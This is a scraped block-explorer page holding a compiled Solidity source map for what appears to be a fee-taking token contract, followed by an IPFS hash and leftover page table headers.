10880:16:0;:3;-1:-1:-1;;;;;10880:16:0;;10771:125;10767:202;;;10920:37;10945:6;10953:3;10920:24;:37::i;:::-;10913:44;10279:1210;;;:::o;10767:202::-;10987:15;;;;;:51;;-1:-1:-1;;;;;;11006:22:0;;;;;;:11;:22;;;;;;:32;-1:-1:-1;11006:32:0;10987:51;10979:103;;;;-1:-1:-1;;;10979:103:0;;5730:2:1;10979:103:0;;;5712:21:1;5769:2;5749:18;;;5742:30;5808:34;5788:18;;;5781:62;-1:-1:-1;;;5859:18:1;;;5852:37;5906:19;;10979:103:0;5528:403:1;10979:103:0;11093:19;11115:27;11124:18;11115:6;:27;:::i;:::-;11153:23;;;;:11;:23;;;:45;;11093:49;;-1:-1:-1;11180:18:0;;11153:23;;;:45;;11180:18;;11153:45;:::i;:::-;;;;-1:-1:-1;;;;;;;11234:22:0;;;;;;:11;:22;;;;;;:31;;11259:6;;11234:31;:::i;:::-;-1:-1:-1;;;;;11209:22:0;;;;;;;:11;:22;;;;;;:56;;;;11276:16;;;;;;;;:31;;11296:11;;11209:22;11276:31;;11296:11;;11276:31;:::i;:::-;;;;;;;;11343:3;-1:-1:-1;;;;;11323:37:0;11332:9;-1:-1:-1;;;;;11323:37:0;;11348:11;11323:37;;;;1410:25:1;;1398:2;1383:18;;1264:177;11323:37:0;;;;;;;;11375:22;;11371:111;;11419:51;;1410:25:1;;;11447:1:0;;-1:-1:-1;;;;;11419:51:0;;;;;1398:2:1;1383:18;11419:51:0;;;;;;;11371:111;10369:1120;;10279:1210;;;:::o;6771:201::-;6868:25;;-1:-1:-1;;6085:2:1;6081:15;;;6077:53;6868:25:0;;;6065:66:1;6834:4:0;;6147:12:1;;6868:25:0;;;-1:-1:-1;;6868:25:0;;;;;;;;;6858:36;;6868:25;6858:36;;;;6898:66;6858:106;;6771:201;-1:-1:-1;;6771:201:0:o;1730:471::-;1788:7;2033:6;2029:47;;-1:-1:-1;2063:1:0;2056:8;;2029:47;2088:9;2100:5;2104:1;2100;:5;:::i;:::-;2088:17;-1:-1:-1;2133:1:0;2124:5;2128:1;2088:17;2124:5;:::i;:::-;:10;2116:56;;;;-1:-1:-1;;;2116:56:0;;6767:2:1;2116:56:0;;;6749:21:1;6806:2;6786:18;;;6779:30;6845:34;6825:18;;;6818:62;-1:-1:-1;;;6896:18:1;;;6889:31;6937:19;;2116:56:0;6565:397:1;2116:56:0;2192:1;1730:471;-1:-1:-1;;;1730:471:0:o;2677:132::-;2735:7;2762:39;2766:1;2769;2762:39;;;;;;;;;;;;;;;;;:3;:39::i;11497:496::-;11598:4;11578:26;;;;:11;:26;;;;;:36;;11608:6;;11578:26;:36;;11608:6;;11578:36;:::i;:::-;;;;-1:-1:-1;;11657:7:0;;11625:49;;11642:4;;-1:-1:-1;;;;;11657:7:0;11667:6;11625:8;:49::i;:::-;11712:16;;;11726:1;11712:16;;;;;;;;11685:24;;11712:16;;;;;;;;;;-1:-1:-1;11712:16:0;11685:43;;11760:4;11739:7;11747:1;11739:10;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11739:26:0;;;:10;;;;;;;;;;:26;;;;11789:7;;:14;;;-1:-1:-1;;;11789:14:0;;;;:7;;;;;:12;;:14;;;;;11739:10;;11789:14;;;;;:7;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11776:7;11784:1;11776:10;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11776:27:0;;;:10;;;;;;;;;:27;11814:15;:22;;-1:-1:-1;;11814:22:0;11832:4;11814:22;;;11847:7;;;:58;11906:6;11814:15;11917:7;11926:2;11930:20;:15;11948:2;11930:20;:::i;:::-;11847:104;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;11962:15:0;:23;;-1:-1:-1;;11962:23:0;;;-1:-1:-1;;;;;11497:496:0:o;3305:278::-;3391:7;3426:12;3419:5;3411:28;;;;-1:-1:-1;;;3411:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3450:9:0;3462:5;3466:1;3462;:5;:::i;:::-;3450:17;3305:278;-1:-1:-1;;;;;3305:278:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;1907:247::-;1966:6;2019:2;2007:9;1998:7;1994:23;1990:32;1987:52;;;2035:1;2032;2025:12;1987:52;2074:9;2061:23;2093:31;2118:5;2093:31;:::i;2367:388::-;2435:6;2443;2496:2;2484:9;2475:7;2471:23;2467:32;2464:52;;;2512:1;2509;2502:12;2464:52;2551:9;2538:23;2570:31;2595:5;2570:31;:::i;:::-;2620:5;-1:-1:-1;2677:2:1;2662:18;;2649:32;2690:33;2649:32;2690:33;:::i;:::-;2742:7;2732:17;;;2367:388;;;;;:::o;2760:380::-;2839:1;2835:12;;;;2882;;;2903:61;;2957:4;2949:6;2945:17;2935:27;;2903:61;3010:2;3002:6;2999:14;2979:18;2976:38;2973:161;;;3056:10;3051:3;3047:20;3044:1;3037:31;3091:4;3088:1;3081:15;3119:4;3116:1;3109:15;2973:161;;2760:380;;;:::o;3555:127::-;3616:10;3611:3;3607:20;3604:1;3597:31;3647:4;3644:1;3637:15;3671:4;3668:1;3661:15;3687:128;3727:3;3758:1;3754:6;3751:1;3748:13;3745:39;;;3764:18;;:::i;:::-;-1:-1:-1;3800:9:1;;3687:128::o;4588:125::-;4628:4;4656:1;4653;4650:8;4647:34;;;4661:18;;:::i;:::-;-1:-1:-1;4698:9:1;;4588:125::o;6170:168::-;6210:7;6276:1;6272;6268:6;6264:14;6261:1;6258:21;6253:1;6246:9;6239:17;6235:45;6232:71;;;6283:18;;:::i;:::-;-1:-1:-1;6323:9:1;;6170:168::o;6343:217::-;6383:1;6409;6399:132;;6453:10;6448:3;6444:20;6441:1;6434:31;6488:4;6485:1;6478:15;6516:4;6513:1;6506:15;6399:132;-1:-1:-1;6545:9:1;;6343:217::o;7099:127::-;7160:10;7155:3;7151:20;7148:1;7141:31;7191:4;7188:1;7181:15;7215:4;7212:1;7205:15;7231:251;7301:6;7354:2;7342:9;7333:7;7329:23;7325:32;7322:52;;;7370:1;7367;7360:12;7322:52;7402:9;7396:16;7421:31;7446:5;7421:31;:::i;7487:980::-;7749:4;7797:3;7786:9;7782:19;7828:6;7817:9;7810:25;7854:2;7892:6;7887:2;7876:9;7872:18;7865:34;7935:3;7930:2;7919:9;7915:18;7908:31;7959:6;7994;7988:13;8025:6;8017;8010:22;8063:3;8052:9;8048:19;8041:26;;8102:2;8094:6;8090:15;8076:29;;8123:1;8133:195;8147:6;8144:1;8141:13;8133:195;;;8212:13;;-1:-1:-1;;;;;8208:39:1;8196:52;;8303:15;;;;8268:12;;;;8244:1;8162:9;8133:195;;;-1:-1:-1;;;;;;;8384:32:1;;;;8379:2;8364:18;;8357:60;-1:-1:-1;;;8448:3:1;8433:19;8426:35;8345:3;7487:980;-1:-1:-1;;;7487:980:1:o

Swarm Source

ipfs://8d3a04afe399f6be22ee6a92787e9f5d66a5cd160371c4a470721c6dd47eda27
Block Transaction Gas Used Reward
Age Block Fee Address BC Fee Address Voting Power Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.